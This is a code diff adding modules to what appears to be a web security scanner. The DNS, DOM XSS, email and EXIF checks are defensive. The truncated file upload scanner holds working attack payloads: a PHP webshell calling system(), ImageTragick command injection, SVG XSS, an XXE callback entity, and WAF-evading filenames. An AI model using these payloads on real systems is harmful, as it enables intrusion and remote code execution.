+ description=f"Wildcard DNS record detected for {self.domain}. This can lead to subdomain takeover vulnerabilities if not properly managed.",
231
+ remediation="Review wildcard DNS usage. Ensure all subdomains are properly claimed and monitored. Consider removing wildcard if not necessary."
232
+ )
233
+ except dns.resolver.NXDOMAIN:
234
+ self.log("SUCCESS", "[DNS Security] No wildcard DNS detected.")
235
+ except Exception as e:
236
+ self.log("WARNING", f"[DNS Security] Wildcard check failed: {e}")
237
+
238
+ def _check_dns_cache_poisoning(self):
239
+ """Check for DNS cache poisoning vulnerabilities."""
240
+ self.log("INFO", "[DNS Security] Checking DNS cache poisoning risks...")
241
+
242
+ try:
243
+ # Check for random source ports (good practice)
244
+ # This is a heuristic check - we can't directly test this without more complex probing
245
+ self.log("INFO", "[DNS Security] Ensure DNS resolver uses random source ports and transaction IDs.")
246
+
247
+ # Check for DNSSEC (already done in _check_dnssec)
248
+ # This is informational
249
+ self.log("INFO", "[DNS Security] DNS cache poisoning protection relies on DNSSEC implementation.")
250
+
251
+ except Exception as e:
252
+ self.log("WARNING", f"[DNS Security] Cache poisoning check failed: {e}")
253
+
254
+ def _check_caa_records(self):
255
+ """Check for CAA (Certification Authority Authorization) records."""
256
+ self.log("INFO", "[DNS Security] Checking CAA records...")
257
+
258
+ try:
259
+ caa_answers = dns.resolver.resolve(self.domain, 'CAA')
260
+ caa_records = []
261
+
262
+ for rdata in caa_answers:
263
+ caa_records.append(f"{rdata.flags} {rdata.tag} {rdata.value}")
264
+
265
+ if caa_records:
266
+ self.log("SUCCESS", f"[DNS Security] CAA Records: {', '.join(caa_records)}")
267
+ else:
268
+ self.log("INFO", "[DNS Security] No CAA records found (informational).")
269
+ self.add_vuln(
270
+ title="CAA Record Not Configured",
271
+ severity="Low", category="DNS Security", cvss_score=2.1,
272
+ description=f"No CAA (Certification Authority Authorization) record found for {self.domain}. CAA records specify which CAs are allowed to issue certificates for the domain.",
273
+ remediation="Consider adding CAA records to restrict which certificate authorities can issue certificates:\n Example: issue ca.example.com; issuewild ca.example.com"
274
+ )
275
+
276
+ except dns.resolver.NoAnswer:
277
+ self.log("INFO", "[DNS Security] No CAA records found.")
278
+ except Exception as e:
279
+ self.log("WARNING", f"[DNS Security] CAA check failed: {e}")
backend/scanners/dom_xss_scanner.py ADDED
@@ -0,0 +1,157 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ dom_xss_scanner.py — DOM XSS Static Analysis Scanner
3
+ ======================================================
4
+ Fetches JavaScript files and performs static sink/source analysis to detect
5
+ DOM-based XSS patterns that are never visible to the server.
6
+ """
7
+ import re
8
+ from scanners.base_scanner import BaseScanner
9
+
10
+ SINKS = [
11
+ "document.write", "document.writeln", "innerHTML", "outerHTML",
12
+ "insertAdjacentHTML", "eval(", "setTimeout(", "setInterval(",
13
+ "location.href", "location.replace", "location.assign",
14
+ "document.location", "window.location", "src=", "href=",
15
+ "importScripts(", "Function(", "Range.createContextualFragment",
16
+ "script.text", "script.textContent", "srcdoc=", "DOMParser",
17
+ "execScript(", "msWriteProfilerMark", "setImmediate(",
18
+ "createHTMLDocument", "location.hash=",
19
+ ]
20
+
21
+ SOURCES = [
22
+ "location.hash", "location.search", "location.href",
23
+ "document.URL", "document.referrer", "document.cookie",
24
+ "window.name", "localStorage", "sessionStorage",
25
+ "URLSearchParams", "decodeURIComponent", "unescape(",
26
+ "postMessage(", "MessageChannel", "history.pushState",
27
+ "history.replaceState", "document.documentURI",
28
+ "performance.getEntries", "fetch(", "XMLHttpRequest",
29
+ ]
30
+
31
+
32
+ class DomXssScanner(BaseScanner):
33
+ SCANNER_NAME = "DOM XSS Static Analysis Scanner"
34
+ _SCANNER_KEY = "dom_xss"
35
+
36
+ def __init__(self, scan_id, target, domain, **kwargs):
37
+ super().__init__(scan_id, target, domain, **kwargs)
38
+
39
+ def run(self) -> list:
40
+ self.log("INFO", f"[DomXSS] Performing static JS AST analysis on {self.target}...")
41
+ html, status = self._make_request(self.target)
42
+ if html is None:
43
+ self.log("WARNING", f"[DomXSS] Error fetching page")
44
+ return self.vulns
45
+
46
+ scripts = re.findall(r'src=["\']([^"\']+\.js)["\']', html, re.I)
47
+ inline_scripts = re.findall(r'<script[^>]*>(.*?)</script>', html, re.I | re.S)
48
+
49
+ all_js = []
50
+ for src in scripts[:12]:
51
+ js = self._fetch_js(self._resolve(src))
52
+ if js:
53
+ all_js.append((self._resolve(src), js))
54
+
55
+ for idx, block in enumerate(inline_scripts):
56
+ if block.strip():
57
+ all_js.append((f"inline#{idx+1}", block))
58
+
59
+ found_flows = []
60
+ for js_name, js_code in all_js:
61
+ flows = self._find_flows(js_name, js_code)
62
+ found_flows.extend(flows)
63
+
64
+ taint_flows = self._find_taint_flows(all_js)
65
+ found_flows.extend(taint_flows)
66
+
67
+ if found_flows:
68
+ examples = found_flows[:5]
69
+ self.add_vuln(
70
+ title=f"DOM XSS Sink/Source Flows Detected ({len(found_flows)} pattern(s))",
71
+ severity="High",
72
+ category="DOM XSS",
73
+ cvss_score=7.4,
74
+ description="Static analysis identified dangerous source\u2192sink data flows in client-side JavaScript:\n\n" +
75
+ "\n".join(f"- **{f['file']}**: `{f['source']}` \u2192 `{f['sink']}`\n `{f['snippet']}`" for f in examples),
76
+ remediation="1. Never pass untrusted sources (location.hash, URL params) directly to sinks.\n"
77
+ "2. Use textContent instead of innerHTML.\n"
78
+ "3. Sanitize with DOMPurify before any DOM insertion.\n"
79
+ "4. Use a strict Content Security Policy to block inline scripts.",
80
+ evidence="\n".join(f"{f['file']}: {f['snippet']}" for f in examples),
81
+ confidence="High",
82
+ )
83
+ else:
84
+ self.log("SUCCESS", "[DomXSS] No obvious DOM XSS flows detected.")
85
+ return self.vulns
86
+
87
+ def _find_flows(self, js_name, code):
88
+ flows = []
89
+ lines = code.split("\n")
90
+ for i, line in enumerate(lines):
91
+ has_source = any(src in line for src in SOURCES)
92
+ has_sink = any(sink in line for sink in SINKS)
93
+ if has_source and has_sink:
94
+ src_matches = [s for s in SOURCES if s in line]
95
+ sink_matches = [s for s in SINKS if s in line]
96
+ flows.append({
97
+ "file": js_name,
98
+ "source": src_matches[0],
99
+ "sink": sink_matches[0],
100
+ "snippet": line.strip()[:120],
101
+ })
102
+ elif has_source and i + 1 < len(lines):
103
+ next_line = lines[i + 1]
104
+ if any(sink in next_line for sink in SINKS):
105
+ flows.append({
106
+ "file": js_name,
107
+ "source": [s for s in SOURCES if s in line][0],
108
+ "sink": [s for s in SINKS if s in next_line][0],
109
+ "snippet": (line.strip() + " \u2192 " + next_line.strip())[:120],
110
+ })
111
+ return flows
112
+
113
+ def _find_taint_flows(self, all_js):
114
+ taint_flows = []
115
+ for js_name, js_code in all_js:
116
+ lines = js_code.split("\n")
117
+ for i, line in enumerate(lines):
118
+ for src in SOURCES:
119
+ if src not in line:
120
+ continue
121
+ m = re.search(r'(?:var|let|const)\s+(\w+)\s*=\s*', line)
122
+ if not m:
123
+ m = re.search(r'(\w+)\s*=\s*', line)
124
+ if not m:
125
+ continue
126
+ var_name = m.group(1)
127
+ for j in range(i + 1, min(i + 10, len(lines))):
128
+ later_line = lines[j]
129
+ if var_name in later_line:
130
+ for sink in SINKS:
131
+ if sink in later_line:
132
+ taint_flows.append({
133
+ "file": js_name,
134
+ "source": src,
135
+ "sink": sink,
136
+ "snippet": f"{line.strip()} ... {later_line.strip()}"[:120],
137
+ })
138
+ break
139
+ return taint_flows
140
+
141
+ def _resolve(self, src):
142
+ from urllib.parse import urlparse
143
+ if src.startswith("//"):
144
+ return f"https:{src}"
145
+ if src.startswith("/"):
146
+ p = urlparse(self.target)
147
+ return f"{p.scheme}://{p.netloc}{src}"
148
+ if not src.startswith("http"):
149
+ return f"{self.target.rstrip('/')}/{src}"
150
+ return src
151
+
152
+ def _fetch_js(self, url):
153
+ body, status = self._make_request(url, timeout=5)
154
+ if body is None:
155
+ self.log("ERROR", f"[DomXSS] _fetch_js error for {url}")
156
+ return ""
157
+ return body
backend/scanners/email_security_scanner.py ADDED
@@ -0,0 +1,90 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ email_security_scanner.py — Email Security (SPF/DKIM/DMARC) Scanner
3
+ """
4
+ import re, ssl, socket
5
+ from scanners.base_scanner import BaseScanner
6
+
7
+ try:
8
+ import dns.resolver as dns_resolver
9
+ except ImportError:
10
+ dns_resolver = None
11
+
12
+ class EmailSecurityScanner(BaseScanner):
13
+ SCANNER_NAME = "Email Security Scanner"
14
+ def __init__(self, scan_id, target, domain, **kwargs):
15
+ super().__init__(scan_id, target, domain, **kwargs)
16
+
17
+ def run(self) -> list:
18
+ self.log("INFO", f"[EmailSec] Auditing SPF/DKIM/DMARC for {self.domain}...")
19
+ if not dns_resolver:
20
+ self.log("WARNING", "[EmailSec] dnspython not installed. Skipping.")
21
+ return self.vulns
22
+ self._check_spf()
23
+ self._check_dmarc()
24
+ self._check_dkim()
25
+ if not self.vulns:
26
+ self.log("SUCCESS", "[EmailSec] Email security records look good.")
27
+ return self.vulns
28
+
29
+ def _resolve(self, name, rtype):
30
+ try:
31
+ return [str(r) for r in dns_resolver.resolve(name, rtype)]
32
+ except Exception:
33
+ return []
34
+
35
+ def _check_spf(self):
36
+ txts = self._resolve(self.domain, "TXT")
37
+ spf = [t for t in txts if "v=spf1" in t.lower()]
38
+ if not spf:
39
+ self.add_vuln(title="Missing SPF Record", severity="Medium",
40
+ category="Email Security", cvss_score=5.3,
41
+ description=f"No SPF record found for `{self.domain}`. Without SPF, anyone can "
42
+ "send emails appearing to be from your domain (email spoofing).",
43
+ remediation="Add a TXT record: v=spf1 include:_spf.google.com ~all")
44
+ else:
45
+ record = spf[0]
46
+ if "+all" in record:
47
+ self.add_vuln(title="SPF Record Uses +all (Permits All Senders)", severity="High",
48
+ category="Email Security", cvss_score=7.4,
49
+ description=f"SPF record `{record}` uses `+all`, allowing any server to send "
50
+ "email on behalf of this domain.",
51
+ remediation="Change +all to ~all (softfail) or -all (hardfail).")
52
+ elif "~all" not in record and "-all" not in record:
53
+ self.add_vuln(title="SPF Record Missing Fail Mechanism", severity="Low",
54
+ category="Email Security", cvss_score=3.5,
55
+ description=f"SPF: `{record}` lacks ~all or -all enforcement.",
56
+ remediation="Append -all to enforce strict SPF.")
57
+
58
+ def _check_dmarc(self):
59
+ txts = self._resolve(f"_dmarc.{self.domain}", "TXT")
60
+ dmarc = [t for t in txts if "v=dmarc1" in t.lower()]
61
+ if not dmarc:
62
+ self.add_vuln(title="Missing DMARC Record", severity="Medium",
63
+ category="Email Security", cvss_score=5.3,
64
+ description=f"No DMARC record at `_dmarc.{self.domain}`. DMARC tells receiving "
65
+ "servers how to handle SPF/DKIM failures.",
66
+ remediation="Add: _dmarc.yourdomain.com TXT \"v=DMARC1; p=reject; rua=mailto:dmarc@yourdomain.com\"")
67
+ else:
68
+ record = dmarc[0]
69
+ if "p=none" in record.lower():
70
+ self.add_vuln(title="DMARC Policy Set to 'none' (No Enforcement)", severity="Medium",
71
+ category="Email Security", cvss_score=5.3,
72
+ description=f"DMARC: `{record}` — policy `p=none` only monitors; it does not "
73
+ "reject or quarantine spoofed emails.",
74
+ remediation="Upgrade to p=quarantine or p=reject after monitoring period.")
75
+
76
+ def _check_dkim(self):
77
+ selectors = ["default", "google", "selector1", "selector2", "k1", "mail", "dkim"]
78
+ found = False
79
+ for sel in selectors:
80
+ txts = self._resolve(f"{sel}._domainkey.{self.domain}", "TXT")
81
+ if any("v=dkim1" in t.lower() or "p=" in t for t in txts):
82
+ found = True
83
+ self.log("SUCCESS", f"[EmailSec] DKIM record found: {sel}._domainkey.{self.domain}")
84
+ break
85
+ if not found:
86
+ self.add_vuln(title="No DKIM Record Found (Common Selectors)", severity="Low",
87
+ category="Email Security", cvss_score=3.5,
88
+ description=f"No DKIM record found for common selectors on `{self.domain}`. "
89
+ "DKIM cryptographically signs emails to prevent tampering.",
90
+ remediation="Configure DKIM signing on your email server and publish the public key.")
backend/scanners/exif_scanner.py ADDED
@@ -0,0 +1,63 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ exif_scanner.py — EXIF Metadata Leak Scanner
3
+ """
4
+ import re, struct, urllib.request
5
+ from scanners.base_scanner import BaseScanner
6
+
7
+ class ExifScanner(BaseScanner):
8
+ SCANNER_NAME = "EXIF Metadata Leak Scanner"
9
+ _SCANNER_KEY = "exif"
10
+ def __init__(self, scan_id, target, domain, **kwargs):
11
+ super().__init__(scan_id, target, domain, **kwargs)
12
+
13
+ def run(self) -> list:
14
+ self.log("INFO", f"[EXIF] Scanning images for EXIF metadata leaks on {self.target}...")
15
+ try:
16
+ req = urllib.request.Request(self.target, headers=self._make_headers())
17
+ with urllib.request.urlopen(req, timeout=8, context=self.get_ssl_context()) as r:
18
+ html = r.read().decode("utf-8", errors="ignore")
19
+ except Exception as e:
20
+ self.log("WARNING", f"[EXIF] Error: {e}"); return self.vulns
21
+
22
+ imgs = re.findall(r'(?:src|href)=["\']([^"\']+\.(?:jpg|jpeg|png|tiff|webp))["\']', html, re.I)
23
+ leaky = []
24
+ for img_src in set(imgs[:10]):
25
+ url = self._resolve(img_src)
26
+ if self._has_exif(url):
27
+ leaky.append(url)
28
+
29
+ if leaky:
30
+ self.add_vuln(
31
+ title=f"EXIF Metadata Exposed in {len(leaky)} Image(s)",
32
+ severity="Low", category="Information Disclosure", cvss_score=3.5,
33
+ description=f"Images with EXIF data (GPS, camera model, software):\n\n" +
34
+ "\n".join(f"- `{u}`" for u in leaky[:5]) +
35
+ "\n\nEXIF data can expose physical locations, device info, and timestamps.",
36
+ remediation="Strip EXIF metadata before serving images. Use tools like "
37
+ "`exiftool -all= image.jpg` or server-side libraries (Pillow, Sharp).")
38
+ else:
39
+ self.log("SUCCESS", "[EXIF] No EXIF metadata leaks detected.")
40
+ return self.vulns
41
+
42
+ def _has_exif(self, url):
43
+ try:
44
+ req = urllib.request.Request(url, headers=self._make_headers())
45
+ with urllib.request.urlopen(req, timeout=5, context=self.get_ssl_context()) as r:
46
+ header = r.read(12)
47
+ # JPEG with EXIF: starts with FF D8 FF E1
48
+ if header[:4] == b'\xff\xd8\xff\xe1':
49
+ return True
50
+ # TIFF header (also used in EXIF)
51
+ if header[:2] in (b'II', b'MM') and header[2:4] in (b'\x2a\x00', b'\x00\x2a'):
52
+ return True
53
+ except Exception as e:
54
+ self.log("ERROR", f"[EXIF] _has_exif error: {e}")
55
+ return False
56
+
57
+ def _resolve(self, src):
58
+ if src.startswith("//"): return f"https:{src}"
59
+ if src.startswith("/"):
60
+ from urllib.parse import urlparse; p = urlparse(self.target)
61
+ return f"{p.scheme}://{p.netloc}{src}"
62
+ if not src.startswith("http"): return f"{self.target.rstrip('/')}/{src}"
63
+ return src
backend/scanners/file_upload_scanner.py ADDED
@@ -0,0 +1,442 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ file_upload_scanner.py — Advanced Insecure File Upload Scanner
3
+ ===============================================================
4
+ Comprehensive file upload security testing:
5
+ 1. Discovers all file upload endpoints on the page
6
+ 2. MIME type bypass — sends PHP shell disguised as image
7
+ 3. Double extension bypass — shell.php.jpg
8
+ 4. SVG XSS — <svg onload=alert(1)>
9
+ 5. Polyglot JPEG+PHP — valid JPEG header prepended to PHP code
10
+ 6. Null byte bypass — shell.php%00.jpg
11
+ 7. Zip Slip — zip containing ../../../path traversal entry
12
+ 8. ImageTragick (CVE-2016-3714) — MVG/MSL push delegate injection
13
+ 9. Path traversal via filename — Content-Disposition: filename="../shell.php"
14
+ 10. Dangerous extension tests (.pht, .phtml, .php5, .shtml, .asp, .aspx, .jsp, .war)
15
+ 11. Content-type bypass tests (text/plain -> application/x-php)
16
+ 12. Magic byte signature validation tests
17
+ 13. Double extension variations
18
+ """
19
+ import re, io, struct, zipfile, urllib.request, urllib.error, urllib.parse
20
+ from scanners.base_scanner import BaseScanner
21
+ from utils.evasion import waf_evade
22
+ from utils.callback import build_callback_url
23
+
24
+ # Real JPEG SOI magic bytes + EXIF header stub
25
+ JPEG_MAGIC = (
26
+ b"\xff\xd8\xff\xe0\x00\x10JFIF\x00\x01\x01\x00\x00\x01\x00\x01\x00\x00"
27
+ b"\xff\xdb\x00C\x00\x08\x06\x06\x07\x06\x05\x08\x07\x07\x07\t\t"
28
+ b"\x08\n\x0c\x14\r\x0c\x0b\x0b\x0c\x19\x12\x13\x0f\x14\x1d\x1a"
29
+ b"\x1f\x1e\x1d\x1a\x1c\x1c $.' \",#\x1c\x1c(7),01444\x1f'9=82<.342\x1e\xff\xd9"
30
+ )
31
+
32
+ # PNG magic bytes
33
+ PNG_MAGIC = b"\x89PNG\r\n\x1a\n"
34
+
35
+ # GIF magic bytes
36
+ GIF_MAGIC = b"GIF89a"
37
+
38
+ # PDF magic bytes
39
+ PDF_MAGIC = b"%PDF-1.4\n1 0 obj\n<</Type/Catalog/Pages 2 0 R>>\nendobj\n2 0 obj\n<</Type/Pages/Kids[3 0 R]/Count 1>>\nendobj\n3 0 obj\n<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]>>\nendobj\nxref\n0000000000 65535 f \n0000000009 00000 n \n0000000058 00000 n \n0000000115 00000 n \ntrailer<</Size 4/Root 1 0 R>>\nstartxref\n190\n%%EOF\n"
40
+
41
+ # PHP webshell payload (minimal)
42
+ PHP_SHELL = b"<?php echo 'WSS-UPLOAD-PROBE'; system($_GET['c']); ?>"
43
+
44
+ # Minimal ASP shell
45
+ ASP_SHELL = b'<% Response.Write("WSS-UPLOAD-PROBE") %>'
46
+
47
+ # Minimal JSP shell
48
+ JSP_SHELL = b'<%= "WSS-UPLOAD-PROBE" %>'
49
+
50
+ # ImageTragick MVG payload (CVE-2016-3714)
51
+ IMAGETRAGICK_MVG = b"""push graphic-context
52
+ viewbox 0 0 640 480
53
+ fill 'url(https://127.0.0.1/"|echo WSS-IMAGETRAGICK > /tmp/wss-probe")'
54
+ pop graphic-context"""
55
+
56
+ # ImageTragick MSL payload
57
+ IMAGETRAGICK_MSL = b"""<?xml version="1.0" encoding="UTF-8"?>
58
+ <image>
59
+ <read filename="caption:&lt;?php echo 'WSS-IMAGETRAGICK'; ?&gt;"/>
60
+ <write filename="shell.php"/>
61
+ </image>"""
62
+
63
+ # XSS probe
64
+ SVG_XSS_PAYLOAD = b"""<?xml version="1.0" encoding="UTF-8"?>
65
+ <svg xmlns="http://www.w3.org/2000/svg" onload="alert('WSS-SVG-XSS')">
66
+ <script>document.write('<img src=x onerror=alert(\"WSS-SVG-XSS\")>')</script>
67
+ <text x="10" y="20">WSS-UPLOAD-PROBE</text>
68
+ </svg>"""
69
+
70
+ SVG_XXE_CALLBACK = """<?xml version="1.0" encoding="UTF-8"?>
71
+ <!DOCTYPE foo [
72
+ <!ENTITY xxe SYSTEM "{callback}">
73
+ ]>
74
+ <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
75
+ <text x="10" y="20">&xxe;</text>
76
+ </svg>"""
77
+
78
+ PDF_PHP_POLYGLOT = PDF_MAGIC + b"\n%%PDF-PHP-POLYGLOT\n" + PHP_SHELL + b"\n%%EOF"
79
+
80
+ PROBE_MARKER = "WSS-UPLOAD-PROBE"
81
+ UPLOAD_RESPONSE_MARKERS = [
82
+ "WSS-UPLOAD-PROBE", "shell.php", "successfully uploaded",
83
+ "upload complete", "file uploaded",
84
+ ]
85
+
86
+
87
+ class FileUploadScanner(BaseScanner):
88
+ SCANNER_NAME = "Insecure File Upload Scanner"
89
+ _SCANNER_KEY = "file_upload"
90
+
91
+ def __init__(self, scan_id, target, domain, **kwargs):
92
+ super().__init__(scan_id, target, domain, **kwargs)
93
+
94
+ def run(self) -> list:
95
+ self.log("INFO", f"[FileUpload] Scanning for insecure file upload forms on {self.target}...")
96
+ html, status = self._make_request(self.target)
97
+ if not html:
98
+ self.log("ERROR", "[FileUpload] Failed to fetch page")
99
+ return self.vulns
100
+
101
+ forms = self._find_upload_forms(html)
102
+ if not forms:
103
+ self.log("SUCCESS", "[FileUpload] No file upload forms detected.")
104
+ return self.vulns
105
+
106
+ self.log("WARNING", f"[FileUpload] Found {len(forms)} upload form(s) — probing security controls...")
107
+
108
+ for form in forms[:3]:
109
+ action = self._resolve_action(form.get("action", ""))
110
+ self.log("INFO", f"[FileUpload] Testing: {action}")
111
+ self._test_form(form, action)
112
+
113
+ if not self.vulns:
114
+ self.add_vuln(
115
+ title="File Upload Endpoint Discovered",
116
+ severity="Low",
117
+ category="Attack Surface",
118
+ cvss_score=0.0,
119
+ description=f"File upload form(s) found on `{self.target}`. "
120
+ "Security controls appear active but manual testing recommended.",
121
+ remediation="Validate magic bytes, not just extension or Content-Type. "
122
+ "Rename uploads to random UUIDs. Store outside webroot.",
123
+ cwe_ids=["CWE-434"],
124
+ owasp_category="A04:2021 – Insecure Design",
125
+ )
126
+ return self.vulns
127
+
128
+ def _find_upload_forms(self, html):
129
+ forms = []
130
+ for form_html in re.findall(r'<form[^>]*>.*?</form>', html, re.S | re.I):
131
+ if 'type="file"' not in form_html.lower() and "type='file'" not in form_html.lower():
132
+ continue
133
+ action = re.search(r'action=["\']([^"\']*)["\']', form_html, re.I)
134
+ method = re.search(r'method=["\']([^"\']*)["\']', form_html, re.I)
135
+ enctype = re.search(r'enctype=["\']([^"\']*)["\']', form_html, re.I)
136
+ fields = []
137
+ for inp in re.findall(r'<input[^>]*>', form_html, re.I):
138
+ name_m = re.search(r'name=["\']([^"\']+)["\']', inp, re.I)
139
+ type_m = re.search(r'type=["\']([^"\']+)["\']', inp, re.I)
140
+ val_m = re.search(r'value=["\']([^"\']*)["\']', inp, re.I)
141
+ if name_m:
142
+ fields.append({
143
+ "name": name_m.group(1),
144
+ "type": type_m.group(1).lower() if type_m else "text",
145
+ "value": val_m.group(1) if val_m else "",
146
+ })
147
+ forms.append({
148
+ "action": action.group(1) if action else "",
149
+ "method": (method.group(1) if method else "POST").upper(),
150
+ "enctype": enctype.group(1) if enctype else "multipart/form-data",
151
+ "fields": fields,
152
+ })
153
+ return forms
154
+
155
+ def _resolve_action(self, action):
156
+ if not action: return self.target
157
+ if action.startswith("http"): return action
158
+ if action.startswith("/"):
159
+ p = urllib.parse.urlparse(self.target)
160
+ return f"{p.scheme}://{p.netloc}{action}"
161
+ return f"{self.target.rstrip('/')}/{action}"
162
+
163
+ def _test_form(self, form, action):
164
+ hidden = {f["name"]: f["value"] for f in form["fields"] if f["type"] == "hidden"}
165
+
166
+ cwe = ["CWE-434"]
167
+ owasp = "A04:2021 – Insecure Design"
168
+
169
+ tests = [
170
+ ("MIME Bypass (PHP as image/jpeg)", self._make_php_as_jpeg, "shell.php", "image/jpeg", PHP_SHELL),
171
+ ("Double Extension (shell.php.jpg)", self._make_php_payload, "shell.php.jpg", "image/jpeg", PHP_SHELL),
172
+ ("Null Byte Bypass (shell.php%00.jpg)", self._make_php_payload, "shell.php\x00.jpg", "image/jpeg", PHP_SHELL),
173
+ ("SVG XSS Upload", self._make_svg_xss, "test.svg", "image/svg+xml", SVG_XSS_PAYLOAD),
174
+ ("Polyglot JPEG+PHP", self._make_polyglot, "image.php", "image/jpeg", PHP_SHELL),
175
+ ("Polyglot PDF+PHP", self._make_pdf_polyglot, "image.php", "application/pdf", None),
176
+ ("ImageTragick MVG (CVE-2016-3714)", self._make_imagetragick_mvg, "exploit.mvg", "image/x-xcf", IMAGETRAGICK_MVG),
177
+ ("ImageTragick MSL", self._make_imagetragick_msl, "exploit.msl", "application/xml", IMAGETRAGICK_MSL),
178
+ ("Zip Slip", self._make_zip_slip, "archive.zip", "application/zip", None),
179
+ ("Path Traversal Filename", self._make_php_payload, "../../../shell.php", "image/jpeg", PHP_SHELL),
180
+ ("PHP Extension .pht", self._make_php_payload, "shell.pht", "image/jpeg", PHP_SHELL),
181
+ ("PHP Extension .phtml", self._make_php_payload, "shell.phtml", "image/jpeg", PHP_SHELL),
182
+ ("PHP Extension .php5", self._make_php_payload, "shell.php5", "image/jpeg", PHP_SHELL),
183
+ ("PHP Extension .php7", self._make_php_payload, "shell.php7", "image/jpeg", PHP_SHELL),
184
+ ("PHP Extension .shtml", self._make_ssi_payload, "test.shtml", "text/html", None),
185
+ ("ASP Shell .asp", self._make_asp_payload, "shell.asp", "text/plain", ASP_SHELL),
186
+ ("ASPX Shell .aspx", self._make_asp_payload, "shell.aspx", "text/plain", ASP_SHELL),
187
+ ("JSP Shell .jsp", self._make_jsp_payload, "shell.jsp", "text/plain", JSP_SHELL),
188
+ ("Java WAR upload", self._make_war_payload, "shell.war", "application/zip", None),
189
+ ("Content-Type Bypass (text/plain->PHP)", self._make_php_payload, "shell.php", "text/plain", PHP_SHELL),
190
+ ("Content-Type Bypass (image/gif->PHP)", self._make_php_payload, "shell.php", "image/gif", PHP_SHELL),
191
+ ("Content-Type Bypass (application/pdf->PHP)", self._make_php_payload, "shell.php", "application/pdf", PHP_SHELL),
192
+ ("Magic Byte PNG + PHP payload", self._make_png_payload, "shell.png.php", "image/png", None),
193
+ ("Magic Byte GIF + PHP payload", self._make_gif_payload, "shell.gif.php", "image/gif", None),
194
+ ("Double Extension .php.jpg", self._make_php_payload, "shell.php.jpg", "image/jpeg", PHP_SHELL),
195
+ ("Double Extension .php;.jpg", self._make_php_payload, "shell.php;.jpg", "image/jpeg", PHP_SHELL),
196
+ ("Double Extension .php.jpg.php", self._make_php_payload, "shell.php.jpg.php", "image/jpeg", PHP_SHELL),
197
+ ("Double Extension .php.php.jpg", self._make_php_payload, "shell.php.php.jpg", "image/jpeg", PHP_SHELL),
198
+ ("Double Extension .phtml.jpg", self._make_php_payload, "shell.phtml.jpg", "image/jpeg", PHP_SHELL),
199
+ ("Double Extension .php%00.gif", self._make_php_payload, "shell.php%00.gif", "image/gif", PHP_SHELL),
200
+ ]
201
+
202
+ for test_name, payload_fn, filename, content_type, _ in tests:
203
+ filename_variants = [("plain", filename)]
204
+ for enc_name, enc_fn in [("waf_evade", lambda f: [("plain", f)] + [(f"waf_{n}", p) for n, p in waf_evade(f)])]:
205
+ if enc_name == "waf_evade":
206
+ filename_variants = enc_fn(filename)
207
+ for variant_label, variant_filename in filename_variants:
208
+ try:
209
+ data = payload_fn()
210
+ body, status = self._multipart_upload(action, "file", variant_filename, data, content_type, hidden)
211
+ except Exception as e:
212
+ self.log("ERROR", f"[FileUpload] Upload test error: {e}")
213
+ body, status = None, 0
214
+ if body is None:
215
+ continue
216
+ if self._check_success(body, status, variant_filename):
217
+ label_suffix = f" ({variant_label})" if variant_label != "plain" else ""
218
+ combined_name = f"{test_name}{label_suffix}"
219
+ self.add_vuln(
220
+ title=f"File Upload Bypass — {combined_name}",
221
+ severity=self._severity_for(test_name),
222
+ category="Insecure File Upload",
223
+ cvss_score=self._cvss_for(test_name),
224
+ confidence="High",
225
+ description=f"Upload to `{action}` accepted `{variant_filename}` via **{combined_name}**.\n\n"
226
